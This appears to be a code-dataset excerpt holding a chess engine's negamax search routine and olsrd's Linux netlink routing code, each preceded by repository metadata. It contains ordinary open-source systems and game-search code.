c
search.c
#include "search.h" #include "board.h" #include "addon.h" #include "ztable.h" #include "common.h" #include "ai.h" #include "eval.h" #include "moves.h" #include "check.h" #include <stdbool.h> move pv[MAX_PLY][MAX_PLY]; int pv_len[MAX_PLY]; static score negamax(int depth, move *mm, score alpha, score beta); static score _negamax(int depth, move *mm, score alpha, score beta); static inline void shuffle_succs() { struct MS swap; const int lo = first_succ[ply]; const int hi = first_succ[ply+1]; int i, j; if (!copts.shuffle) return; for (i = lo; i < hi-1; i++) { j = i + rand() % (hi-i); if (i == j) continue; swap = gsuccs[j]; gsuccs[j] = gsuccs[i]; gsuccs[i] = swap; } } static inline void genSuccs_wrap(int depth) { /* Generate succesors */ genSuccs(); stats.ngen += first_succ[ply+1] - first_succ[ply]; /* Score them, they will be lazily sorted during the search */ addon_score_succs(depth); /* Shuffle them to add randomness */ shuffle_succs(); } static inline void genCaps_wrap(int depth) { genCaps(); stats.ngen += first_succ[ply+1] - first_succ[ply]; addon_score_succs(depth); } /* * Lazily sorts the succesor array. Leaves the next succesor to try in * gsuccs[i]. */ static inline void sort_succ(int i) { int j; int best; assert(gsuccs[i].m.who == G->turn); assert(i >= first_succ[ply]); assert(i < first_succ[ply+1]); score s = gsuccs[i].s; best = i; for (j=i+1; j<first_succ[ply+1]; j++) { assert(gsuccs[j].m.who == G->turn); if (gsuccs[j].s > s) { best = j; s = gsuccs[j].s; } } if (best != i) { struct MS swap; swap = gsuccs[best]; gsuccs[best] = gsuccs[i]; gsuccs[i] = swap; } assert(gsuccs[i].m.who == G->turn); assert(gsuccs[i].m.move_type != MOVE_INVAL); assert(gsuccs[i].s >= 0); } static inline int calcExtension(int depth) { int ret = 0; if (inCheck() || hstack[hply - 1].was_promote) ret++; return ret; } static inline score null_move_score(int depth, score alpha, score beta) { score t; move m = { .move_type = MOVE_NULL, .who = G->turn }; __unused bool check; if (!copts.null) goto dont; /* * Dont null-move when in check or when low in material since * we're likely to be in Zugzwang */ if (inCheck() || G->pieceScore[G->turn] <= NMH_THRESHOLD) goto dont; if (depth <= NMH_REDUCTION) goto dont; /* Don't null move twice in a row */ if (hstack[hply - 1].m.move_type == MOVE_NULL) goto dont; stats.null_tries++; check = doMove(m); /* * doMoveNull's only restriction is not being in check and we already * provided a case for that so this should never fail */ assert(check); first_succ[ply] = first_succ[ply - 1]; t = -negamax(depth - NMH_REDUCTION - 1, NULL, -beta, -alpha); undoMove(); return t; dont: return alpha; } static inline score _quiesce(score alpha, score beta); static score quiesce(score alpha, score beta) { __unused game bak = G; __unused u64 h = G->zobrist; score ret; ret = _quiesce(alpha, beta); assert(G == bak); assert(G->zobrist == h); return ret; } static inline score _quiesce(score alpha, score beta) { int nvalid, i; score ret, ev; score t; if (timeup) { ret = 0; goto out; } else if (timelimited) { ticks++; if ((ticks & 0xfff) == 0) { if (getms() >= timelimit) { timeup = true; ret = 0; goto out; } } } stats.nvisit_q++; if (isDraw() || reps() >= 2) { ret = 0; goto out; } if (copts.lazy) { score bound = fullBound; ev = 0; for (i = 0; i < nEval; i++) { ev += evalFuns[i](); bound -= evalBound[i]; if (ev - bound >= beta) { ret = beta; goto out; } } assert(bound == 0); } else { ev = boardEval(); if (ev >= beta) { ret = beta; goto out; } } if (copts.delta_prune) { score delta = QUEEN_SCORE - PAWN_SCORE; if (hstack[hply - 1].was_promote) delta += QUEEN_SCORE; if (ev + delta < alpha) { ret = alpha; goto out; } } if (ev > alpha) alpha = ev; if (ply >= MAX_PLY-1) { ret = ev; goto out; } stats.nopen_q++; genCaps_wrap(ply); nvalid = 0; for (i = first_succ[ply]; i < first_succ[ply+1]; i++) { sort_succ(i); const move m = gsuccs[i].m; assert(m.move_type == MOVE_REGULAR); /* We only consider captures and promotions */ assert(isCapture(m) || isPromotion(m)); if (!doMove_unchecked(m)) continue; nvalid++; t = -quiesce(-beta, -alpha); undoMove(); if (t > alpha) { if (t >= beta) { ret = beta; goto out; } alpha = t; } } if (nvalid == 0) ret = ev; else ret = alpha; out: assert(ret > minScore); assert(ret < maxScore); return ret; } static score negamax(int depth, move *mm, score alpha, score beta) { __unused game bak = G; __unused u64 h = G->zobrist; score ret; ret = _negamax(depth, mm, alpha, beta); assert(G == bak); assert(G->zobrist == h); return ret; } static score _negamax(int depth, move *mm, score alpha, score beta) { score t, ret, best, alpha_orig; int i; int ext; int nvalid = 0; int bestmove = -1; stats.nall++; pv_len[ply] = 0; if (timeup) { ret = 0; goto out; } else if (timelimited) { ticks++; if ((ticks & 0xfff) == 0) { if (getms() >= timelimit) { timeup = true; ret = 0; goto out; } } } stats.nvisit_s++; /* * The absolute best we can ever do is CHECKMATE_SCORE - ply - * 1, so use it as a bound. This causes the search to run a lot more * quickly in the final endgame. */ if (alpha >= CHECKMATE_SCORE - ply - 1) { ret = alpha; goto out; } if (isDraw()) { ret = 0; goto out; } /* * If we visited this board in the same variation, we can assume we'll * react the same way and lead to a draw by reptition. We can only do * this if we're not at the top level (we don't have to return a move) */ if (reps() >= 2 && !mm) { ret = 0; goto out; } ext = calcExtension(depth); depth += ext; /* * Depth cut. Descend into Quiescence search */ if (depth <= 0) { assert(!mm); assert(depth == 0); if (copts.quiesce) ret = quiesce(alpha, beta); else ret = boardEval(); goto out; } /* * Only try to null-move if beta was less than maxScore. * Otherwise we will never suceed in the test. */ if (!mm && beta < maxScore) { t = null_move_score(depth, alpha, beta); if (t >= beta) { stats.null_cuts++; ret = beta; goto out; } } if (!mm) { addon_notify_entry(depth, &alpha, &beta); if (alpha >= beta && copts.ab) { ret = alpha; goto out; } } if (ply >= MAX_PLY-1) { ret = boardEval(); goto out; } alpha_orig = alpha; best = minScore; stats.nopen_s++; stats.depthsn[ply]++; genSuccs_wrap(ply); for (i = first_succ[ply]; i < first_succ[ply + 1]; i++) { sort_succ(i); const move m = gsuccs[i].m; if (!doMove_unchecked(m)) continue; nvalid++; /* LMR */ t = alpha + 1; if (copts.lmr && i >= first_succ[ply - 1] + LMR_FULL && ply - 1 >= LMR_MINDEPTH && gsuccs[i].s * 3 < gsuccs[first_succ[ply - 1]].s && !inCheck() && depth >= 2 && hstack[hply - 1].capt == EMPTY && !hstack[hply - 1].was_promote) { stats.lmrs++; t = -negamax(depth - 2, NULL, -beta, -alpha); if (t <= alpha) stats.lmrs_ok++; } /* * Re-search if the LMR didn't fail low (or if we * didn't attempt one) */ if (t > alpha) t = -negamax(depth - 1, NULL, -beta, -alpha); undoMove(); if (t > best) { best = t; bestmove = i; pv[ply][0] = m; pv_len[ply] = pv_len[ply + 1] + 1; memcpy(&pv[ply][1], &pv[ply+1][0], sizeof(move) * pv_len[ply+1]); } if (t > alpha) alpha = t; if (alpha >= beta && copts.ab) { addon_notify_cut(m, ply); break; } } if (bestmove != -1) stats.picked[bestmove - first_succ[ply]]++; else assert(timeup || nvalid == 0); /* Was it a terminal board? */ if (nvalid == 0) { assert(!mm); if (inCheck()) ret = -CHECKMATE_SCORE + ply; else ret = 0; /* Stalemate */ } else if (nvalid == 1 && alpha < beta && copts.forced_extend) { __unused bool check; check = doMove(gsuccs[bestmove].m); assert(check); alpha = alpha_orig; t = -negamax(depth, NULL, -beta, -alpha); undoMove(); if (t > alpha) alpha = t; ret = alpha; } else { flag_t flag; assert(bestmove != -1); if (mm) *mm = gsuccs[bestmove].m; ret = best; assert(best != minScore); assert(best != maxScore); /* Which node type was this? */ if (ret <= alpha_orig) flag = FLAG_UPPER_BOUND; else if (ret >= beta) flag = FLAG_LOWER_BOUND; else flag = FLAG_EXACT; addon_notify_return(gsuccs[bestmove].m, depth, ret, flag); } out: if (mm) assert(mm->move_type != MOVE_INVAL); assert(ret > minScore); assert(ret < maxScore); return ret; } score search(int maxDepth, move *mm, score alpha, score beta) { alpha = clamp(alpha, 1-CHECKMATE_SCORE, CHECKMATE_SCORE-1); beta = clamp(beta , 1-CHECKMATE_SCORE, CHECKMATE_SCORE-1); assert(ply == 0); return negamax(maxDepth, mm, alpha, beta); }
7b37130527655291953b60cc5eccdff5f7c72327
322a5c5dc7678580bb1a89c6a9a3cf6cb7bf902f
/android/external/olsrd/src/linux/kernel_routes_nl.c
008426ebfd99c9f5fdccac4b6fbf0c056569424e
[]
no_license
MathJud/qaul.net_legacy
21fc84502ed54850ca992cc327f981b8da30476d
8b6a639311a733eb7e49e15a7f9b0dd312eff9df
refs/heads/master
2021-01-16T23:49:23.416594
2015-04-26T11:00:34
2015-04-26T11:00:34
36,096,872
1
0
null
null
null
null
UTF-8
C
false
false
21,094
c
kernel_routes_nl.c
/* * The olsr.org Optimized Link-State Routing daemon(olsrd) * Copyright (c) 2004, Andreas Tonnesen(andreto@olsr.org) * Copyright (c) 2007, Sven-Ola for the policy routing stuff * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * Neither the name of olsr.org, olsrd nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * Visit http://www.olsr.org for more information. * * If you find this software useful feel free to make a donation * to the project. For more information see the website or contact * the copyright holders. * */ #include "kernel_routes.h" #include "ipc_frontend.h" #include "log.h" #include "net_os.h" #include "ifnet.h" #include <assert.h> #include <linux/types.h> #include <linux/rtnetlink.h> //ipip includes #include <netinet/in.h> #include <sys/ioctl.h> #include <net/if.h> #include <linux/ip.h> #include <linux/if_tunnel.h> //ifup includes #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/types.h> #include <net/if.h> /* * The ARM compile complains about alignment. Copied * from /usr/include/linux/netlink.h and adapted for ARM */ #define MY_NLMSG_NEXT(nlh,len) ((len) -= NLMSG_ALIGN((nlh)->nlmsg_len), \ (struct nlmsghdr*)ARM_NOWARN_ALIGN((((char*)(nlh)) + NLMSG_ALIGN((nlh)->nlmsg_len))) static void rtnetlink_read(int sock, void *, unsigned int); struct olsr_rtreq { struct nlmsghdr n; struct rtmsg r; char buf[512]; }; struct olsr_ipadd_req { struct nlmsghdr n; struct ifaddrmsg ifa; char buf[256]; }; int rtnetlink_register_socket(int rtnl_mgrp) { int sock = socket(AF_NETLINK,SOCK_RAW,NETLINK_ROUTE); struct sockaddr_nl addr; if (sock<0) { OLSR_PRINTF(1,"could not create rtnetlink socket! %s (%d)", strerror(errno), errno); return -1; } memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; addr.nl_pid = 0; //kernel will assign appropiate number instead of pid (which is already used by primaray rtnetlink socket to add/delete routes) addr.nl_groups = rtnl_mgrp; if (bind(sock,(struct sockaddr *)&addr,sizeof(addr))<0) { OLSR_PRINTF(1,"could not bind rtnetlink socket! %s (%d)",strerror(errno), errno); return -1; } add_olsr_socket(sock, NULL, &rtnetlink_read, NULL, SP_IMM_READ); return sock; } static void netlink_process_link(struct nlmsghdr *h) { struct ifinfomsg *ifi = (struct ifinfomsg *) NLMSG_DATA(h); struct interface *iface; struct olsr_if *oif; char namebuffer[IF_NAMESIZE]; iface = if_ifwithindex(ifi->ifi_index); oif = NULL; if (iface == NULL && (ifi->ifi_flags & (IFF_UP|IFF_RUNNING)) == (IFF_UP|IFF_RUNNING)) { if (if_indextoname(ifi->ifi_index, namebuffer)) { if ((oif = olsrif_ifwithname(namebuffer)) != NULL) { /* try to take interface up, will trigger ifchange */ chk_if_up(oif, 3); } } } else if (iface != NULL && (ifi->ifi_flags & IFF_UP) == 0) { /* try to take interface down, will trigger ifchange */ olsr_remove_interface(iface->olsr_if); } if (iface == NULL && oif == NULL) { /* this is not an OLSR interface */ if ((ifi->ifi_flags & IFF_UP) != 0 && (ifi->ifi_flags & IFF_RUNNING) != 0) { olsr_trigger_ifchange(ifi->ifi_index, NULL, IFCHG_IF_ADD); } else if ((ifi->ifi_flags & IFF_UP) == 0 && (ifi->ifi_flags & IFF_RUNNING) == 0){ olsr_trigger_ifchange(ifi->ifi_index, NULL, IFCHG_IF_REMOVE); } } } static void rtnetlink_read(int sock, void *data __attribute__ ((unused)), unsigned int flags __attribute__ ((unused))) { int len, plen; struct iovec iov; struct sockaddr_nl nladdr; struct msghdr msg = { &nladdr, sizeof(nladdr), &iov, 1, NULL, 0, 0 }; char buffer[4096]; struct nlmsghdr *nlh = (struct nlmsghdr *)ARM_NOWARN_ALIGN(buffer); int ret; iov.iov_base = (void *) buffer; iov.iov_len = sizeof(buffer); while ((ret = recvmsg(sock, &msg, MSG_DONTWAIT)) >= 0) { /*check message*/ len = nlh->nlmsg_len; plen = len - sizeof(nlh); if (len > ret || plen < 0) { OLSR_PRINTF(1,"Malformed netlink message: " "len=%d left=%d plen=%d\n", len, ret, plen); return; } OLSR_PRINTF(3, "Netlink message received: type 0x%x\n", nlh->nlmsg_type); if ((nlh->nlmsg_type == RTM_NEWLINK) || ( nlh->nlmsg_type == RTM_DELLINK)) { /* handle ifup/ifdown */ netlink_process_link(nlh); } } if (errno != EAGAIN) { OLSR_PRINTF(1,"netlink listen error %u - %s\n",errno,strerror(errno)); } } static void olsr_netlink_addreq(struct nlmsghdr *n, size_t reqSize __attribute__ ((unused)), int type, const void *data, int len) { struct rtattr *rta = (struct rtattr *)ARM_NOWARN_ALIGN(((char *)n) + NLMSG_ALIGN(n->nlmsg_len)); n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_LENGTH(len); //produces strange compile error //assert(n->nlmsg_len < reqSize); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); } /*rt_entry and nexthop and family and table must only be specified with an flag != RT_NONE && != RT_LO_IP*/ static int olsr_netlink_send(struct nlmsghdr *nl_hdr) { char rcvbuf[1024]; struct iovec iov; struct sockaddr_nl nladdr; struct msghdr msg; struct nlmsghdr *h; struct nlmsgerr *l_err; int ret; memset(&nladdr, 0, sizeof(nladdr)); memset(&msg, 0, sizeof(msg)); nladdr.nl_family = AF_NETLINK; msg.msg_name = &nladdr; msg.msg_namelen = sizeof(nladdr); msg.msg_iov = &iov; msg.msg_iovlen = 1; iov.iov_base = nl_hdr; iov.iov_len = nl_hdr->nlmsg_len; ret = sendmsg(olsr_cnf->rtnl_s, &msg, 0); if (ret <= 0) { olsr_syslog(OLSR_LOG_ERR, "Cannot send data to netlink socket (%d: %s)", errno, strerror(errno)); return -1; } iov.iov_base = rcvbuf; iov.iov_len = sizeof(rcvbuf); ret = recvmsg(olsr_cnf->rtnl_s, &msg, 0); if (ret <= 0) { olsr_syslog(OLSR_LOG_ERR, "Error while reading answer to netlink message (%d: %s)", errno, strerror(errno)); return -1; } h = (struct nlmsghdr *)ARM_NOWARN_ALIGN(rcvbuf); if (!NLMSG_OK(h, (unsigned int)ret)) { olsr_syslog(OLSR_LOG_ERR, "Received netlink message was malformed (ret=%d, %u)", ret, h->nlmsg_len); return -1; } if (h->nlmsg_type != NLMSG_ERROR) { olsr_syslog(OLSR_LOG_INFO, "Received unknown netlink response: %u bytes, type %u (not %u) with seqnr %u and flags %u from %u", h->nlmsg_len, h->nlmsg_type, NLMSG_ERROR, h->nlmsg_seq, h->nlmsg_flags, h->nlmsg_pid); return -1; } if (NLMSG_LENGTH(sizeof(struct nlmsgerr)) > h->nlmsg_len) { olsr_syslog(OLSR_LOG_INFO,"Received invalid netlink message size %lu != %u", (unsigned long int)sizeof(struct nlmsgerr), h->nlmsg_len); return -1; } l_err = (struct nlmsgerr *)NLMSG_DATA(h); if (l_err->error) { olsr_syslog(OLSR_LOG_INFO,"Received netlink error code %s (%d)", strerror(-l_err->error), l_err->error); } return -l_err->error; } int olsr_os_policy_rule(int family, int rttable, uint32_t priority, const char *if_name, bool set) { struct olsr_rtreq req; int err; memset(&req, 0, sizeof(req)); req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg)); req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; req.n.nlmsg_type = set ? RTM_NEWRULE : RTM_DELRULE; req.r.rtm_family = family; req.r.rtm_table = rttable; /* probably unneeded */ req.r.rtm_type = RTN_UNICAST; olsr_netlink_addreq(&req.n, sizeof(req), RTA_PRIORITY, &priority, sizeof(priority)); if (if_name != NULL) { /*add interface name to rule*/ olsr_netlink_addreq(&req.n, sizeof(req), RTA_IIF, if_name, strlen(if_name)+1); } err = olsr_netlink_send(&req.n); if (err) { olsr_syslog(OLSR_LOG_ERR,"Error on %s policy rule aimed to activate RtTable %u!", set ? "inserting" : "deleting", rttable); } return err; } static int olsr_add_ip(int ifindex, union olsr_ip_addr *ip, const char *l, bool create) { struct olsr_ipadd_req req; memset(&req, 0, sizeof(req)); req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifaddrmsg)); if (create) { req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_REPLACE | NLM_F_ACK; req.n.nlmsg_type = RTM_NEWADDR; } else { req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; req.n.nlmsg_type = RTM_DELADDR; } req.ifa.ifa_family = olsr_cnf->ip_version; olsr_netlink_addreq(&req.n, sizeof(req), IFA_LOCAL, ip, olsr_cnf->ipsize); if (l) { olsr_netlink_addreq(&req.n, sizeof(req), IFA_LABEL, l, strlen(l) + 1); } req.ifa.ifa_prefixlen = olsr_cnf->ipsize * 8; req.ifa.ifa_index = ifindex; return olsr_netlink_send(&req.n); } int olsr_os_localhost_if(union olsr_ip_addr *ip, bool create) { static char l[] = "lo:olsr"; return olsr_add_ip(if_nametoindex("lo"), ip, l, create); } int olsr_os_ifip(int ifindex, union olsr_ip_addr *ip, bool create) { return olsr_add_ip(ifindex, ip, NULL, create); } static int olsr_new_netlink_route(int family, int rttable, int if_index, int metric, int protocol, const union olsr_ip_addr *src, const union olsr_ip_addr *gw, const struct olsr_ip_prefix *dst, bool set, bool del_similar) { struct olsr_rtreq req; int family_size; int err; if (0) { struct ipaddr_str buf1, buf2; olsr_syslog(OLSR_LOG_INFO, "new_netlink_route: family=%d,rttable=%d,if_index=%d,metric=%d,protocol=%d,src=%s,gw=%s,dst=%s,set=%s,del_similar=%s", family, rttable, if_index, metric, protocol, src == NULL ? "" : olsr_ip_to_string(&buf1, src), gw == NULL ? "" : olsr_ip_to_string(&buf2, gw), olsr_ip_prefix_to_string(dst), set ? "true" : "false", del_similar ? "true" : "false"); } family_size = family == AF_INET ? sizeof(struct in_addr) : sizeof(struct in6_addr); memset(&req, 0, sizeof(req)); req.r.rtm_flags = RTNH_F_ONLINK; req.r.rtm_family = family; req.r.rtm_table = rttable; req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg)); req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; if (set) { req.n.nlmsg_flags |= NLM_F_CREATE | NLM_F_REPLACE; req.n.nlmsg_type = RTM_NEWROUTE; } else { req.n.nlmsg_type = RTM_DELROUTE; } /* RTN_UNSPEC would be the wildcard, but blackhole broadcast or nat roules should usually not conflict */ /* -> olsr only adds deletes unicast routes */ req.r.rtm_type = RTN_UNICAST; req.r.rtm_dst_len = dst->prefix_len; if (set) { /* add protocol for setting a route */ req.r.rtm_protocol = protocol; } /* calculate scope of operation */ if (!set && del_similar) { /* as wildcard for fuzzy deletion */ req.r.rtm_scope = RT_SCOPE_NOWHERE; } else { /* for all our routes */ req.r.rtm_scope = RT_SCOPE_UNIVERSE; } if (set || !del_similar) { /* add interface*/ olsr_netlink_addreq(&req.n, sizeof(req), RTA_OIF, &if_index, sizeof(if_index)); } if (set && src != NULL) { /* add src-ip */ olsr_netlink_addreq(&req.n, sizeof(req), RTA_PREFSRC, src, family_size); } if (metric != -1) { /* add metric */ olsr_netlink_addreq(&req.n, sizeof(req), RTA_PRIORITY, &metric, sizeof(metric)); } if (gw) { /* add gateway */ olsr_netlink_addreq(&req.n, sizeof(req), RTA_GATEWAY, gw, family_size); } else { if ( dst->prefix_len == 32 ) { /* use destination as gateway, to 'force' linux kernel to do proper source address selection */ olsr_netlink_addreq(&req.n, sizeof(req), RTA_GATEWAY, &dst->prefix, family_size); } else { /*do not use onlink on such routes(no gateway, but no hostroute aswell) - e.g. smartgateway default route over an ptp tunnel interface*/ req.r.rtm_flags &= (~RTNH_F_ONLINK); } } /* add destination */ olsr_netlink_addreq(&req.n, sizeof(req), RTA_DST, &dst->prefix, family_size); err = olsr_netlink_send(&req.n); if (err) { struct ipaddr_str buf; if (gw) { olsr_syslog(OLSR_LOG_ERR, ". error: %s route to %s via %s dev %s onlink (%s %d)", set ? "add" : "del", olsr_ip_prefix_to_string(dst), olsr_ip_to_string(&buf, gw), if_ifwithindex_name(if_index), strerror(errno), errno); } else { olsr_syslog(OLSR_LOG_ERR, ". error: %s route to %s via %s dev %s onlink (%s %d)", set ? "add" : "del", olsr_ip_prefix_to_string(dst), olsr_ip_to_string(&buf, &dst->prefix), if_ifwithindex_name(if_index), strerror(errno), errno); } } return err; } void olsr_os_niit_6to4_route(const struct olsr_ip_prefix *dst_v6, bool set) { if (olsr_new_netlink_route(AF_INET6, ip_prefix_is_mappedv4_inetgw(dst_v6) ? olsr_cnf->rt_table_default : olsr_cnf->rt_table, olsr_cnf->niit6to4_if_index, RT_METRIC_DEFAULT, olsr_cnf->rt_proto, NULL, NULL, dst_v6, set, false)) { olsr_syslog(OLSR_LOG_ERR, ". error while %s static niit route to %s", set ? "setting" : "removing", olsr_ip_prefix_to_string(dst_v6)); } } void olsr_os_niit_4to6_route(const struct olsr_ip_prefix *dst_v4, bool set) { if (olsr_new_netlink_route(AF_INET, ip_prefix_is_v4_inetgw(dst_v4) ? olsr_cnf->rt_table_default : olsr_cnf->rt_table, olsr_cnf->niit4to6_if_index, RT_METRIC_DEFAULT, olsr_cnf->rt_proto, NULL, NULL, dst_v4, set, false)) { olsr_syslog(OLSR_LOG_ERR, ". error while %s niit route to %s", set ? "setting" : "removing", olsr_ip_prefix_to_string(dst_v4)); } } void olsr_os_inetgw_tunnel_route(uint32_t if_idx, bool ipv4, bool set) { const struct olsr_ip_prefix *dst; assert(olsr_cnf->ip_version == AF_INET6 || ipv4); dst = ipv4 ? &ipv4_internet_route : &ipv6_internet_route; if (olsr_new_netlink_route(ipv4 ? AF_INET : AF_INET6, olsr_cnf->rt_table_tunnel, if_idx, RT_METRIC_DEFAULT, olsr_cnf->rt_proto, NULL, NULL, dst, set, false)) { olsr_syslog(OLSR_LOG_ERR, ". error while %s inetgw tunnel route to %s for if %d", set ? "setting" : "removing", olsr_ip_prefix_to_string(dst), if_idx); } } static int olsr_os_process_rt_entry(int af_family, const struct rt_entry *rt, bool set) { int metric, table; const struct rt_nexthop *nexthop; union olsr_ip_addr *src; bool hostRoute; int err; /* calculate metric */ if (FIBM_FLAT == olsr_cnf->fib_metric) { metric = RT_METRIC_DEFAULT; } else { metric = set ? rt->rt_best->rtp_metric.hops : rt->rt_metric.hops; } if (olsr_cnf->smart_gw_active && is_prefix_inetgw(&rt->rt_dst)) { /* make space for the tunnel gateway route */ metric += 2; } /* get table */ table = is_prefix_inetgw(&rt->rt_dst) ? olsr_cnf->rt_table_default : olsr_cnf->rt_table; /* get next hop */ if (rt->rt_best && set) { nexthop = &rt->rt_best->rtp_nexthop; } else { nexthop = &rt->rt_nexthop; } /* detect 1-hop hostroute */ hostRoute = rt->rt_dst.prefix_len == olsr_cnf->ipsize * 8 && ipequal(&nexthop->gateway, &rt->rt_dst.prefix); #if 0 { struct ipaddr_str buf1, buf2; olsr_syslog(OLSR_LOG_INFO, "hostroute (%s) = %d == %d && %s == %s", hostRoute ? "true" : "false", rt->rt_dst.prefix_len, (int)(olsr_cnf->ipsize * 8), olsr_ip_to_string(&buf1, &nexthop->gateway), olsr_ip_to_string(&buf2, &rt->rt_dst.prefix)); } #endif /* get src ip */ if (olsr_cnf->use_src_ip_routes) { src = &olsr_cnf->unicast_src_ip; } else { src = NULL; } /* create route */ err = olsr_new_netlink_route(af_family, table, nexthop->iif_index, metric, olsr_cnf->rt_proto, src, hostRoute ? NULL : &nexthop->gateway, &rt->rt_dst, set, false); /* resolve "File exist" (17) propblems (on orig and autogen routes)*/ if (set && err == 17) { /* a similar route going over another gateway may be present, which has to be deleted! */ olsr_syslog(OLSR_LOG_ERR, ". auto-deleting similar routes to resolve 'File exists' (17) while adding route!"); /* erase similar rule */ err = olsr_new_netlink_route(af_family, table, 0, 0, -1, NULL, NULL, &rt->rt_dst, false, true); if (!err) { /* create this rule a second time if delete worked*/ err = olsr_new_netlink_route(af_family, table, nexthop->iif_index, metric, olsr_cnf->rt_proto, src, hostRoute ? NULL : &nexthop->gateway, &rt->rt_dst, set, false); } olsr_syslog(OLSR_LOG_ERR, ". %s (%d)", err == 0 ? "successful" : "failed", err); } /* report success on "No such process" (3) */ else if (!set && err == 3) { /* another similar (but slightly different) route may be present at this point, * if so this will get solved when adding new route to this destination */ olsr_syslog(OLSR_LOG_ERR, ". ignoring 'No such process' (3) while deleting route!"); err = 0; } /* insert route to gateway on the fly if "Network unreachable" (128) on 2.4 kernels * or on 2.6 kernel No such process (3) or Network unreachable (101) is reported in rtnetlink response * do this only with flat metric, as using metric values inherited from * a target behind the gateway is really strange, and could lead to multiple routes! * anyways if invalid gateway ips may happen we are f*cked up!! * but if not, these on the fly generated routes are no problem, and will only get used when needed */ else if (!hostRoute && olsr_cnf->fib_metric == FIBM_FLAT && (err == 128 || err == 101 || err == 3)) { struct olsr_ip_prefix hostPrefix; if (err == 128) { olsr_syslog(OLSR_LOG_ERR, ". autogenerating route to handle 'Network unreachable' (128) while adding route!"); } else if (err == 101) { olsr_syslog(OLSR_LOG_ERR, ". autogenerating route to handle 'Network unreachable' (101) while adding route!"); } else { olsr_syslog(OLSR_LOG_ERR, ". autogenerating route to handle 'No such process' (3) while adding route!"); } /* create hostroute */ hostPrefix.prefix = nexthop->gateway; hostPrefix.prefix_len = olsr_cnf->ipsize * 8; err = olsr_new_netlink_route(af_family, olsr_cnf->rt_table, nexthop->iif_index, metric, olsr_cnf->rt_proto, src, NULL, &hostPrefix, true, false); if (err == 0) { /* create this rule a second time if hostrule generation was successful */ err = olsr_new_netlink_route(af_family, table, nexthop->iif_index, metric, olsr_cnf->rt_proto, src, hostRoute ? NULL : &nexthop->gateway, &rt->rt_dst, set, false); } olsr_syslog(OLSR_LOG_ERR, ". %s (%d)", err == 0 ? "successful" : "failed", err); } return err; } /** * Insert a route in the kernel routing table * * @param destination the route to add * * @return negative on error */ int olsr_ioctl_add_route(const struct rt_entry *rt) { OLSR_PRINTF(2, "KERN: Adding %s\n", olsr_rtp_to_string(rt->rt_best)); return olsr_os_process_rt_entry(AF_INET, rt, true); } /** *Insert a route in the kernel routing table * *@param destination the route to add * *@return negative on error */ int olsr_ioctl_add_route6(const struct rt_entry *rt) { OLSR_PRINTF(2, "KERN: Adding %s\n", olsr_rtp_to_string(rt->rt_best)); return olsr_os_process_rt_entry(AF_INET6, rt, true); } /** *Remove a route from the kernel * *@param destination the route to remove * *@return negative on error */ int olsr_ioctl_del_route(const struct rt_entry *rt) { OLSR_PRINTF(2, "KERN: Deleting %s\n", olsr_rt_to_string(rt)); return olsr_os_process_rt_entry(AF_INET, rt, false); } /** *Remove a route from the kernel * *@param destination the route to remove * *@return negative on error */ int olsr_ioctl_del_route6(const struct rt_entry *rt) { OLSR_PRINTF(2, "KERN: Deleting %s\n", olsr_rt_to_string(rt)); return olsr_os_process_rt_entry(AF_INET6, rt, false); } /* * Local Variables: * c-basic-offset: 2 * indent-tabs-mode: nil * End: */
02a95312238f15311396493c57681ac2c0eafb76
e8b6566de82c00ff6fad1369ba83c8d1608f15f0
/ui/mainform.ui.h
a4359e343903fa334ccf74255f9401dcdbf588f3
[]
no_license
manchicken/plkast
0194867fd5498cebf80222f9a5791728c0ea8d3d
f03b0fc99da9d2835c87a5e4300733753a65131a
refs/heads/master
2021-01-22T04:54:04.580139
2012-09-02T15:29:38
2012-09-02T15:29:38
null
0
0
null
null
null
null
UTF-8
C
false
false
1,046
h
mainform.ui.h
